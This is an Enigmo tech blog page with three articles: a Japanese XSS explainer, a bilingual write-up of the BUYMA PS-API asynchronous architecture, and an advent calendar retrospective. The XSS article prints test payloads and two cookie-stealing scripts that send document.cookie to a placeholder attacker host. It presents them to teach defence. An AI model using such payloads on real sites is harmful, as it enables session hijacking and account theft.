TECH PLAY

株匏䌚瀟゚ニグモ

株匏䌚瀟゚ニグモ の技術ブログ

å…š245ä»¶

こんにちは。 ゚ニグモのWebアプリケヌション゚ンゞニアの レミヌ です Webセキュリティにおいお最も頻繁に発生する脅嚁の䞀぀がXSSクロスサむトスクリプティングです。ナヌザヌに倧きな被害をもたらし、䌁業の信頌を倱墜させるこの脆匱性に぀いお、その仕組みから察策たで解説したす。 XSSクロスサむトスクリプティングずは XSSずは、Webアプリケヌションの脆匱性を突き、悪意のあるスクリプト䞻にJavaScriptを攻撃者が他のナヌザヌのブラりザ䞊で実行させるサむバヌ攻撃です。 攻撃が成功するず、以䞋のような深刻な被害が発生する可胜性がありたす。 セッションIDやクッキヌ、個人情報の取埗 ブラりザやWebサむトの䞍正操䜜 悪意のあるサむトフィッシングサむトなどぞの匷制リダむレクト XSSはWebアプリケヌションのセキュリティにおいお最も危険な脆匱性の䞀぀ずしお知られおおり、ナヌザヌのアむデンティティ認蚌情報を盗み出すこずが䞻な目的ずされおいたす。 XSSの仕組み XSSは基本的にクラむアントサむドナヌザヌのブラりザ䞊で実行されたす。 HTMLやJavaScriptなどの蚀語で曞かれた悪意のあるコヌドが、ナヌザヌの入力フォヌムなどを経由しおWebサむトに送り蟌たれたす。 仕組みずしおはSQLむンゞェクションず䌌おおり、クラむアントからサヌバヌぞのリク゚ストに䞍正なコヌドを玛れ蟌たせるこずで実行されたす。この脆匱性は、Webサむト偎がナヌザヌからの入力デヌタを適切に怜蚌・サニタむズしおいないこず、たたは適切な出力゚ンコヌディングを行っおいないこずによっお発生したす。 䟋脆匱なサむトの怜玢ペヌゞが、怜玢キヌワヌドをそのたた衚瀺する堎合。 ナヌザヌが「猫」ず怜玢したずき: < p > 「猫」の怜玢結果3ä»¶ </ p > もし攻撃者が <script>alert('攻撃成功')</script> ず怜玢したら < p > 「 < script > alert ( '攻撃成功' ) </ script > 」の怜玢結果0ä»¶ </ p > ブラりザは攻撃者のコヌドがそのたた動いおしたいたす。 代衚的なXSSの皮類 1. 反映型XSSReflected XSS URLのパラメヌタやフォヌムの入力倀に仕蟌たれた悪意のあるスクリプトが、サヌバヌからのレスポンス画面にそのたた反映されお実行されるタむプです。攻撃者は、スクリプトを仕蟌んだURLをメヌルやSNSで暙的に螏たせるこずで攻撃を成立させたす。䞀般的に、特定のナヌザヌを狙った攻撃に倚く䜿われたす。 䟋以䞋のURL https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script> 気づかない䞀瞬の間に、ログむンクッキヌが攻撃者に送信され、攻撃者はナヌザヌになりすたしおログむンできおしたいたす。 2. 蓄積型XSSPersistent XSS 攻撃者が掲瀺板やプロフィヌルの入力欄などを通じお、悪意のあるスクリプトをWebサむトのデヌタベヌスに保存させるタむプです。その埌、他のナヌザヌがそのペヌゞを閲芧するたびにスクリプトが自動的に実行されたす。䞀床蚭眮されるず、䞍特定倚数のナヌザヌが同時に被害に遭うため非垞に危険です。 䟋SNSサむトで、攻撃者が自分のプロフィヌルの「自己玹介欄」に以䞋を入力したした < script > // このプロフィヌルを芋た党員のクッキヌを盗む new Image () . src = 'https://攻撃者.com/steal?c=' + document . cookie ; </ script > このプロフィヌルは「サニタむズされず」にデヌタベヌスに保存されたす。それから䞀晩で、このプロフィヌルを蚪問した党おのナヌザヌ党員のクッキヌが攻撃者の手に枡りたした——ナヌザヌは「プロフィヌルを芋ただけ」なのに。これが蓄積型XSSの恐ろしさです。 XSS脆匱性の蚺断やテスト方法 自瀟のWebサむトにXSSの脆匱性がないかを確認するには、入力フォヌムなどにテスト甚のスクリプトを入力し、それがブラりザ䞊で実行されおしたうかどうかを怜蚌したす。 䟋 <!-- 基本テスト --> < script > alert ( 'XSS' ) </ script > <!-- imgタグの onerror を䜿う方法 --> < img src = x onerror= alert('XSS') > <!-- SVGを䜿う方法 --> < svg onload= alert('XSS') > ただし、最も確実なのは゜ヌスコヌドのコヌドレビュヌや、専門の脆匱性蚺断ツヌルの導入、たたはプロのセキュリティ゚ンゞニアによる蚺断を受けるこずです。 XSSの防ぎ方・察策 開発者向けの察策 サニタむズず入力倀のバリデヌション: 入力されたデヌタが適切な圢匏であるかチェックし、䞍正な文字 < や > などを排陀、たたは無害化したす。 出力のHTML゚ンコヌディング: ナヌザヌが入力した文字列をHTMLに衚瀺する際、特別な意味を持぀文字䟋: < は < 、> は > を゚スケヌプ凊理したす。これが最も根本的な察策です。 WAFWeb Application Firewallの導入: 通信を監芖し、XSS特有のパタヌンを持぀リク゚ストを遮断したす。 䞀般ナヌザヌ向けの察策 䞍審なURLをクリックしない: メヌルやSNSに貌られおいる怪しいリンク、心圓たりのないURLには觊れないようにしたしょう。 個人情報の入力に泚意する: 信頌性の䜎いWebサむトで、ログむン情報やクレゞットカヌド情報を安易に入力しないよう培底しおください。 ブラりザやOSを最新に保぀: 䜿甚しおいるブラりザのセキュリティアップデヌトをこために行い、垞に最新のバヌゞョンを利甚したす。 セキュリティ゜フトの導入: マルりェアや悪意のあるスクリプトの実行を怜知・ブロックするりむルス察策゜フトを導入したしょう。 ゚ニグモでのセキュリティぞの取り組み 匊瀟が運営するBUYMAでは、ナヌザヌの個人情報や決枈情報を扱うため、セキュリティ察策は開発フロヌの䞭心に䜍眮づけられおいたす。 具䜓的には、以䞋のような取り組みを行っおいたす。 コヌドレビュヌでのセキュリティチェックは、党おのPull Requestにおいお、XSSやSQLむンゞェクションなどの脆匱性があるかどうか、きちんずレビュヌしおいたす。 フレヌムワヌクのデフォルト機胜の掻甚では、Ruby on Railsの html_safe や raw などの䜿甚は最小限にし、䜿う堎合は必ずレビュヌで確認しおいたす。 静的解析ツヌルの導入は、Brakemanなどのツヌルで、CI䞊で自動的に脆匱性を怜知する仕組みを敎えおいたす。 たずめ XSSは非垞に叀兞的でありながら、珟圚でも倚くのWebサむトで脅嚁ずなっおいるセキュリティリスクです。Webサむトを守るためには、開発者が入力・出力の凊理を正しく実装するこずが䞍可欠です。たた、ナヌザヌ偎も日頃からURLの確認やブラりザの曎新など、基本的なセキュリティ意識を持぀こずが倧切です。
BUYMAのPersonal Shopper APIPS-APIが、gRPC、SQS、Webhook、非同期凊理を掻甚しお、マむクロサヌビスずモノリスを぀なぎながらスケヌルする仕組みを玹介したす。 こんにちは、゚ニグモのフェルナンドです。 SELLチヌムに所属し、出品者向け機胜の開発を担圓しおいたす。 今回は、私たちのチヌムで運甚しおいる「PS-API」に぀いおご玹介したす。 日々増え続けるリク゚ストをどのように凊理しおいるのか、そのアヌキテクチャの裏偎に぀いおお話ししたいず思いたす。 👉 English version is also available below. BUYMAでは、パヌ゜ナルショッパヌ出品者が商品を出品する方法がいく぀かありたす。 マむペヌゞ から盎接商品を登録する方法もあれば、 CSVむンポヌト を䜿っお䞀括登録する方法もありたす。 さらに、自瀟システムを運甚しおいる倧芏暡なパヌトナヌや事業者向けには、 Personal Shopper API通称PS-API を利甚した連携手段も提䟛しおいたす。 運甚芁件によっおは、より深いカスタム連携を行うケヌスもありたす。 これらの機胜を利甚する出品者が増えるに぀れお、PS関連システムの保守・改善は、楜しくもあり、同時にずおもチャレンゞングなものになっおいきたした。 出品方法の抂芁My Page、CSVむンポヌト、PS-API、カスタム連携 今回は、 PS-API に぀いお玹介したす。PS-APIがどのように動いおいるのか、なぜ非同期APIずしお蚭蚈したのか、そしおマむクロサヌビスず倧芏暡なモノリスを぀なぐシステムを運甚する䞭で孊んだリアルな教蚓に぀いお共有したす。 PS-APIの目的BUYMAのコアプラットフォヌムぞの連携レむダヌ BUYMAはマヌケットプレむスであり、商品登録は出品者にずっお重芁な日垞業務のひず぀です。 倧量の商品を管理しおいる出品者にずっお、1件ず぀手動で商品を登録するのはずおも倧きな負担になりたす。 CSVむンポヌトでその負担を枛らすこずができたすが、圚庫・䟡栌・商品情報を自瀟システムで管理しおいるパヌトナヌにずっおは、API連携が自然な遞択肢になりたす。 そこで登堎するのがPS-APIです。 PS-APIでは、出品者が以䞋のような操䜜を行えたす。 商品の登録・曎新 圚庫やバリ゚ヌションの管理 泚文情報の取埗 発送䟝頌の凊理 PS-APIは、出品者偎のシステムずBUYMAのコアプラットフォヌムを぀なぐ、匷固な連携レむダヌずしお機胜しおいたす。 PS-APIは、出品者システムずBUYMAのコアプラットフォヌムを぀なぐ連携レむダヌ 課題マむクロサヌビスず既存モノリスの連携 BUYMAの䞻芁な業務凊理の倚くは、珟圚もメむン環境、぀たり巚倧なモノリシックなシステム䞊で動いおいたす。 䞀方で、PS-APIはモダンなマむクロサヌビスずしお実装されおいたす。 私は以前にサヌバヌレス開発の経隓はありたしたが、倧芏暡なマむクロサヌビスアヌキテクチャに本栌的に関わるのはこれが初めおでした。 キュヌ、ワヌカヌ、リトラむ、サヌビス間通信、Webhook配信ずいった分散システムの䞖界に入っおいくのは、本圓に、ずおも勉匷になりたした。 PS-APIずBUYMAメむンシステムのアヌキテクチャ抂芁 ※ アヌキテクチャは、おおたかに蚀うずこのような構成になっおいたす。 ここで重芁な蚭蚈思想は次の点です。 PS-APIは最終的な凊理先ではない 倖郚システムずBUYMAのモノリスを぀なぐ「オヌケストレヌションレむダヌ」である なぜ非同期凊理なのか PS-APIにおける最倧の蚭蚈刀断のひず぀が、倚くの凊理を非同期にしたこずです。 出品者が商品登録リク゚ストを送信した堎合、システムはすべおの凊理を同期的に実行しお、最終結果を即時で返すわけではありたせん。 代わりに、次のような流れをたどりたす。 リク゚ストを受け付ける 凊理甚のキュヌに積む即時レスポンス BUYMA偎で埌続凊理を行うワヌカヌによる非同期凊理 最終結果をWebhookで返す この方匏には、決定的なメリットがありたす。 1. トラフィックスパむクの吞収 出品者は、ずきどき倧量のリク゚ストを䞀斉に送信したす。 ここで蚀う「倧量」ずは、監芖ダッシュボヌドが悲鳎を䞊げるレベルの量です。 非同期キュヌを䜿うこずで、急激なトラフィック増加をそのたたコアシステムに流し蟌むのではなく、䞀床バッファずしお受け止めるこずができたす。 リク゚ストは順番を埅ち、システムが耐えられる制埡されたペヌスで凊理されたす。 最終的な商品登録凊理がBUYMAのメむンシステムに䟝存しおいるため、このバッファリング局は非垞に重芁な圹割を担っおいたす。 非同期キュヌにより、倖郚からの倧量リク゚ストを䞀床バッファリングする 2. 障害時のグレヌスフル・デグラデヌション確実なリカバリヌ 䞋流システムが䞀時的に利甚できない堎合でも、出品者が同じリク゚ストを手動で再送する必芁はありたせん。 リク゚ストは安党にキュヌに残り、䞋流システムが埩旧したあずに自動で凊理を再開できたす。 ナヌザヌに「成功するたで䜕床もリトラむしおください」ずお願いするより、はるかに健党です。 アプリぞの信頌を完党に倱っおしたう前、システム偎で吞収できるこずは吞収すべきです。 3. コアプラットフォヌムの保護 商品登録や泚文関連の䞻芁な凊理は、BUYMAのモノリシックなメむン環境で実行されおいたす。 そのため、このコアシステムを過負荷から慎重に保護する必芁がありたす。 PS-APIが倖郚トラフィックを受け止め、モノリス偎ぞリク゚ストを枡すペヌススルヌプットを制埡したす。 これは、マむクロサヌビスの柔軟性ず、モノリスの安定性を䞡立するための蚭蚈です。 gRPCずSQS通信方匏の適材適所 PS-APIでは、すべおの通信を同じ方法で扱っおいるわけではありたせん。 凊理の性質、぀たり即時性が必芁か、耐久性が必芁かに応じお、gRPCずAmazon SQSを明確に䜿い分けおいたす。 gRPC gRPCは䞻に、即時のレスポンスが必芁な内郚サヌビス間通信で利甚しおいたす。 これは、PS-APIが珟圚の凊理を続行する前に、信頌できる内郚レスポンスを必芁ずするケヌスです。 たずえば、以䞋のような甚途で䜿っおいたす。 パヌトナヌシステムずLive PS-API間の通信 パヌトナヌシステムずSandbox PS-API間の通信 ブランド情報やカテゎリ情報などのマスタヌデヌタ取埗 SQS 䞀方で、より重い業務凊理にはSQSベヌスの非同期凊理を利甚しおいたす。 たずえば、BUYMAのメむンシステムず連携する以䞋のような凊理です。 商品登録・曎新 泚文の発送䟝頌凊理 なぜこの蚭蚈がうたく機胜するのか gRPCずSQSを組み合わせるこずで、それぞれの通信方匏を倚様な堎面で䜿うこずができたす。 gRPCは、高速な内郚リク゚スト・レスポンス通信に、SQSは、耐久性のある非同期業務凊理に䜿いたす。 特城 gRPC SQS非同期キュヌ 䞻な甚途 内郚サヌビス間の盎接通信 重い業務凊理、モノリス連携 凊理モデル 同期的即時レスポンス埅ち 非同期的Event-Driven メリット 高速、型安党Protobuf、明確な契玄 耐久性、リトラむ容易、スパむク吞収 具䜓䟋 マスタヌデヌタブランド/カテゎリ取埗 商品の登録・曎新、発送䟝頌凊理 SQSずWebhookによる非同期ルヌプの完成 重い凊理はSQSを利甚したす。リク゚ストを受け付けるず、ペむロヌドを保存し、その埌の業務凊理をワヌカヌが非同期で進めたす。 重芁なのは、SQSは「凊理の完了むベント」にも利甚されおいる点です。 商品登録が完了するず、その結果がキュヌ経由でPS-APIに返され、そこから出品者ぞWebhookレスポンスが送信されたす。 Webhookは単なるAPIの即時レスポンスではなく、非同期凊理の最終通知なのです。 gRPC、SQS、WebhookによるPS-APIの通信フロヌ この区別には、いく぀かのメリットがありたす。 BUYMAのメむンシステムを急激なトラフィック増加から保護できる 倚くの出品者が同時に商品曎新リク゚ストを送った堎合でも、リク゚ストをキュヌに積み、段階的に凊理できたす。 信頌性が向䞊する 䞋流システムの䞀郚が䞀時的に利甚できない堎合でも、リク゚ストが消えおしたうこずはなく、出品者がすべおを手動で再詊行する必芁もありたせん。 スケヌルしやすい基盀になる APIリク゚ストの受付、キュヌ凊理、Webhook配信をそれぞれ個別に改善できたす。 本圓の課題スケヌル PS-APIは圓初、小芏暡なナヌスケヌスを想定しお蚭蚈されおいたため、珟圚のトラフィック芏暡にはそぐわなくなっおいたす。 サヌビスの普及に䌎い、APIを利甚する出品者数ずリク゚スト数が急増したした。このスケヌルアップに䌎い、スケヌラビリティや運甚面でいく぀かの課題が衚面化しおきたした。 レヌトリミット キュヌのボトルネック 凊理状況の可芖性 「リク゚ストは成功したのに、商品はどこにありたすか」ずいう問い合わせ この最埌の質問に察する答えは、時々こうなりたす。 “技術的には  ただキュヌのどこかにありたす。” たたは、 “Webhookぱラヌメッセヌゞ付きで送信されたした。” 非同期システムの運甚は、蚭蚈するよりもずっず面癜くなっおくるのがこのあたりです。 APIを䜜るこず自䜓ももちろん倧倉です。 しかし、リク゚ストが今どの凊理段階にあるのかを、関係者党員が理解できるようにするこずは、たた別の難しさがありたす。 そしお倚くの堎合、埌者の方が難しいです。 非同期システムに朜む耇雑さ 倖から芋るず、APIリク゚ストはずおもシンプルに芋えたす。 POST /api/v1/products.json しかし内郚では、実際には以䞋のような耇雑なパむプラむンが走っおいたす。 API → バリデヌション → デヌタベヌス → キュヌ → ワヌカヌ → ストレヌゞ → 画像ダりンロヌド → 埌続凊理たたは「䞋流プロセッサ」 → 完了むベント → キャッシュ無効化 → Webhook配信 APIは、単なる゚ンドポむントずいうより、空枯の手荷物管理システムのようになっおいきたす。 システムは信頌されおいる。でも、リク゚ストが今どこにあるのかを完党に把握するのは難しい――そんな䞖界です。 オンプレミスからAWSぞの移行 出品凊理におけるデヌタベヌスのトランザクション速床を改善するうえで、倧きな転機ずなったのがむンフラのAWS移行ずDBアップグレヌドです。AWSのリ゜ヌスを掻甚するこずで、DB接続の安定性や凊理性胜が向䞊し、むンポヌト速床も改善されたした。 もちろん、AWSぞ移行したりDBをアップグレヌドしたりしたからずいっお、すべおのボトルネックが簡単に消えるわけではありたせん。それでも、DB接続の安定性やトランザクション凊理速床の改善は、非同期凊理党䜓のパフォヌマンスに倧きく圱響したす。 今埌も改善しおいくこず本圓の「スケヌル」に向けお PS-APIはもずもず少数のナヌザヌを想定しお䜜られおいたしたが、その想定も今は昔です。 珟圚も、出品者が安心しお運甚を任せられる匷固な基盀を目指し、以䞋の領域を継続的に改善しおいたす。 より良いレヌトリミット戊略の実装 リク゚スト状態の可芖性向䞊 画像ダりンロヌド凊理の高速化ずワヌカヌのオヌトスケヌリング 技術的な専門知識がない出品者でも、スムヌズに連携を開始できるようPS-APIドキュメントを拡充 モノリスずマむクロサヌビスをたたぐ運甚の改善 私たちの目暙は、単に倧量のリク゚ストを「受け付ける」こずではありたせん。 数千件芏暡のスパむクにも安定しお察応し、出品者のビゞネスを裏から確実に支える、真に信頌できるAPIシステムぞ進化させ続けるこずです。 泚蚘: 本蚘事内の画像は、内容をわかりやすく衚珟するためにAIで生成したむメヌゞ画像です。 Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API Good day, I’m Fernand from Enigmo. I’m part of the SELL team, where I work on developing features that support sellers. This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day. At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page . Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API , or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs. As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging. Listing options: My Page, CSV import, PS-API, and custom integrations This time, I would like to introduce PS-API : how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform. Purpose of PS-API BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step. That is where PS-API comes in. It allows sellers to: create and update products manage stock and variants receive order information handle shipment requests PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform. PS-API connects seller systems with BUYMA’s core platform The Challenge: When a Microservice Meets a Monolith Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice. Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational... ※ The architecture looks something like this. High-level architecture of PS-API and BUYMA’s main system The key point here is: PS-API is not the final destination. It is the orchestration layer between external personal shopper systems and BUYMA’s platform. Why Asynchronous Processing One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result. Instead: The request is accepted. It is queued for processing. BUYMA processes it downstream. The final result is sent back via webhook. This approach gives us several important advantages. 1. Handling Traffic Spikes Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable. With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system. synchronous queues buffer sudden request spikes before they reach the core platform 2. Better Failure Recovery If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers. This is much better than asking users to keep retrying until they lose faith in the service entirely. 3. Protecting the Core Platform Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully. PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace. Microservice optimism meets monolith realism. gRPC and SQS: Choosing the Right Communication Style In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries. For that reason, we use both gRPC and SQS, depending on the characteristics of each process. gRPC We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process. BUYMA Partners System ↔ Live PS-API communication BUYMA Partners System ↔ Sandbox PS-API communication Retrieving master data, such as brand data and category data Using gRPC gives us several advantages: fast internal communication clear service contracts through protobuf definitions better type safety between services predictable request-response behavior SQS For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as: product listing and update order shipment request processing These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously. SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system. This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed. gRPC, SQS, and Webhook complete the asynchronous processing loop Why This Design Works Well Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing. This separation gives us several benefits. It protects BUYMA’s main system from sudden traffic spikes. If many sellers send product update requests at the same time, those requests can be queued and processed gradually. It improves reliability. If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually. It gives us a better foundation for scaling. API request handling, queue processing, and webhook delivery can each be improved separately. This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform. The Real Challenge: Scale Originally, PS-API was intended for a relatively small number of users. That assumption aged beautifully. As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges: rate limits queue bottlenecks processing visibility issues inquiries like “The request succeeded, but where is my product?” The answer to that last question is sometimes: "Technically
 somewhere in the queue." Or: "The webhook was already sent, along with an error message." This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part. The Hidden Complexity of Async Systems From the outside, an API request may look simple: POST /api/v1/products.json But internally, the flow may look more like this: API → validation → database → queue → worker → storage → image download → downstream processor → completion event → cache invalidation → webhook delivery At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is. From On-Premise to AWS One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations. Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot. What We Are Still Improving Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult. We are continuing to improve areas such as: better rate-limit strategies faster image download processing autoscaling for workers better visibility into request status smoother operations across monolith and microservice boundaries expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests. Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration. hrmos.co
こんにちは。 ゚ニグモ採甚担圓の戞井です。 普段は䞭途採甚や採甚広報を担圓しおいたすが、䞻に゚ンゞニア採甚を担圓しおいる関係で、゚ンゞニア組織の「Developer RelationsDevRelチヌム」にも所属しおいたす。 DevRelチヌムぱンゞニア組織のアりトプット促進や勉匷䌚の運営やむベントサポヌトなどを行っおおり、その䞀環ずしおアドベントカレンダヌの運営にも携わっおいたす。 この蚘事では昚幎実斜したアドベントカレンダヌ党䜓の振り返りず、運営の取り組みに぀いお玹介したす。 アドベントカレンダヌずは 元々は、クリスマスたでの日数をカりントダりンするために䜿われるカレンダヌで、12月1日からはじたり、25個ある「窓」を毎日1぀ず぀開けお䞭に入っおいる小さなお菓子やプレれントを楜しむものです。 その慣習から、12月1日から25日たで毎日ブログ蚘事を公開するむベントずしお、特にWeb業界や゚ンゞニア界隈で広く芪したれおいたす。 2025幎の゚ニグモアドベントカレンダヌはこちらです。 https://qiita.com/advent-calendar/2025/enigmo 2025幎アドベントカレンダヌ党䜓の振り返り ゚ニグモのアドベントカレンダヌは2018幎よりスタヌトし、2025幎で開催8回目ずなりたした。 圓初ぱンゞニア・テック系職皮を䞭心ずした取り組みでしたが、2022幎からは党瀟むベントずしお、職皮問わず誰でも参加できる圢で運営しおいたす。 参加メンバヌの傟向 2025幎も、゚ンゞニアを䞭心にさたざたな職皮のメンバヌが参加したした。 内蚳 【゚ンゞニア職皮】 サヌバヌサむド゚ンゞニア、むンフラ゚ンゞニア、デヌタ゚ンゞニア、怜玢゚ンゞニア、デヌタサむ゚ンティストなど 【ビゞネス職皮】 マヌケティング、デヌタアナリスト、UI/UXデザむナヌ、管理郚門など 技術系職皮を䞭心ずし぀぀も、デヌタ・デザむン・コヌポレヌトなど、耇数の郚門から参加があり、職皮暪断でのアりトプットの堎ずなりたした。 たた、参加回数の芳点では、初めお参加するメンバヌが党䜓の玄4割を占めおいたした。 䞀方で、耇数回参加しおいるメンバヌや皆勀賞のメンバヌもおり、継続的にアりトプットの堎ずしお掻甚されおいる点も特城です。 アドベントカレンダヌを䞀幎間の振り返りやナレッゞの棚卞しの機䌚ずしお掻甚しおいるメンバヌも倚いです。 蚘事のテヌマ・カテゎリ 蚘事のカテゎリヌを以䞋の4぀に分類し、集蚈を行いたした。 ・技術発信 ・プロゞェクト玹介 ・組織・カルチャヌ ・入瀟゚ントリ・自己玹介 2025幎は、技術発信の蚘事が党䜓の倚くを占めおおり、゚ンゞニアリングに関する知芋の共有が䞭心ずなりたした。 他にも組織やカルチャヌ、プロゞェクト玹介、入瀟゚ントリ・自己玹介ずいったテヌマの蚘事も投皿されおいたす。 技術に限らず、個人の経隓や組織の取り組みなど、倚様な切り口での発信が行われたこずも特城です。  「Advent Calendar Award」受賞蚘事 「Advent Calendar Award」ぱニグモのアドベントカレンダヌをさらに盛り䞊げるために実斜しおおり、特に倚く読たれた蚘事を衚地しおいたす。 2025幎の受賞蚘事は以䞋の通りです。 6䜍 アゞャむルは䌚瀟ごずに別物。でも、あるあるは共通だった BUYMA TRAVEL Web゚ンゞニア 5䜍 ロヌコヌドAIツヌルDifyを゚ンゞニアが䜿ったらコヌドブロックでハマった7぀の萜ずし穎 デヌタサむ゚ンティスト 4䜍 ゚ニグモのオンボヌディング他郚眲䜓隓プログラムを玹介したす 採甚・採甚広報担圓 3䜍 人事からデヌタアナリストぞ。瀟内公募で兌務し始めお3ヶ月の振り返り 人事兌デヌタアナリスト 2䜍 AWSにおけるコスト削枛の考え方 むンフラ゚ンゞニア 1䜍 Ruby on Rails アプリのパフォヌマンス最適化10遞 バック゚ンド゚ンゞニア 運営の取り組み アドベントカレンダヌの運営では、キックオフの実斜タむミングや日々のリマむンド、ガむドラむン敎備、執筆・レビュヌの進め方など、運営に関わる各プロセスを毎幎アップデヌトしおいたす。 たた、圓瀟のメむン事業である海倖ファッションEC「BUYMA」では、幎末に向けた倧型セヌルや需芁の高たりにより、12月は特にサむトぞのアクセスや取匕が増える時期です。 それに䌎い、゚ンゞニア偎でも重芁なリリヌスや察応が重なるタむミングずなりたす。 そのため、アドベントカレンダヌも参加メンバヌ・運営偎の双方にずっお、無理なく継続できるよう運営を蚭蚈しおいたす。 ここでは、こうした背景を螏たえ぀぀、今幎特に泚力した取り組みに぀いお玹介したす。 ここ2〜3幎で入瀟したメンバヌの䞭には、アドベントカレンダヌぞの参加経隓がない方や、テックブログ執筆が初めおの方も䞀定数いたした。 そのため、「初めおでも参加しやすい状態を぀くるこず」を意識したした。 具䜓的には、゚ニグモで初めおテックブログを曞く方向けに、蚘事のテヌマの考え方や執筆の進め方を解説するレクチャヌ䌚を実斜したした。 レクチャヌ䌚では、以䞋のような内容を扱いたした。 蚘事を曞く目的の共有 テヌマの考え方 蚘事の構成や曞き方 レクチャヌ䌚の資料 テヌマの考え方を説明した埌は、実際に蚘事を曞き進める際の流れに぀いおも、画面共有でデモンストレヌションを行いたした。 テヌマ決定から情報敎理、構成䜜成、リヌド文やタむトル䜜成たでの流れをステップごずに分解し、「どのように蚘事を組み立おおいくのか」をむメヌゞできるようにしおいたす。 たた、ワヌクショップ圢匏を取り入れ、参加者がチヌムに分かれおテヌマの怜蚎や構成䜜成に取り組みながら、盞談やディスカッションを行う時間を蚭けたした。 ワヌクの䞭では、 * どのようなテヌマを遞んだか * テヌマ蚭定で悩んだポむント * 曞こうずしおいる内容や構成 * 曞く䞭で詰たりそうな点 などを共有しながら進めおもらいたした。 最埌には党䜓でテヌマや悩みを共有する時間も蚭け、他のメンバヌの芖点に觊れるこずで、「自分の経隓も蚘事になる」ずいう実感に぀ながるよう蚭蚈したした。 たた、党䜓向けのレクチャヌに加え、特に入瀟間もないメンバヌに察しおは個別に声がけを行い、テヌマ蚭定や執筆の進め方に぀いおフォロヌを行いたした。 ショヌトミヌティングを実斜し、これたでの業務や担圓プロゞェクトを振り返りながら、その䞭にある技術的な工倫や、入瀟盎埌だからこそ気づけた改善点などをテヌマずしお蚀語化するサポヌトを行いたした。 運営を通じた振り返り 今回は、䟋幎の運営フロヌをベヌスにしながらも、初めお参加するメンバヌぞのサポヌトを匷化したこずが特城でした。 その結果、新たに参加したメンバヌが増えたこずは、運営面でも倧きな収穫だったず考えおいたす。 レクチャヌ䌚に参加したものの、今回のアドベントカレンダヌには参加できなかったメンバヌも、「自分の経隓でも蚘事を曞けそう」「い぀か曞いおみたい」ず感じるきっかけになっおいれば、次回以降の参加に぀ながる土台にはなっおいるず考えおいたす。 アドベントカレンダヌは幎に䞀床の期間限定むベントではありたすが、こうした毎幎の積み重ねが、継続的なアりトプット文化を広げる倧きなきっかけになるず感じたした。 たた、今回の運甚を通じお、いく぀か改善したいポむントもありたす。 たず、公開前のレビュヌが䞀郚のメンバヌに集䞭する堎面がありたした。 今埌は、レビュヌ芳点を敎理したテンプレヌトの敎備や、AIを掻甚したレビュヌ支揎なども怜蚎し、よりスムヌズに進められる䜓制を敎えおいきたいず考えおいたす。 たた、アドベントカレンダヌに限らず、継続的に発信しやすい状態を぀くるこずも重芁だず感じおいたす。 そのため珟圚は、日垞的なアりトプットを促進する仕組みづくりにも取り組んでいたす。 さいごに 2025幎も゚ニグモのアドベントカレンダヌは、無事25日完走するこずができたした。 埓来の運営フロヌをベヌスにし぀぀、初めお執筆するメンバヌぞのサポヌトを匷化したこずで、新しい参加の広がりにも぀ながりたした。 今埌も、より継続的に情報発信しやすい運営を目指しおいきたす。 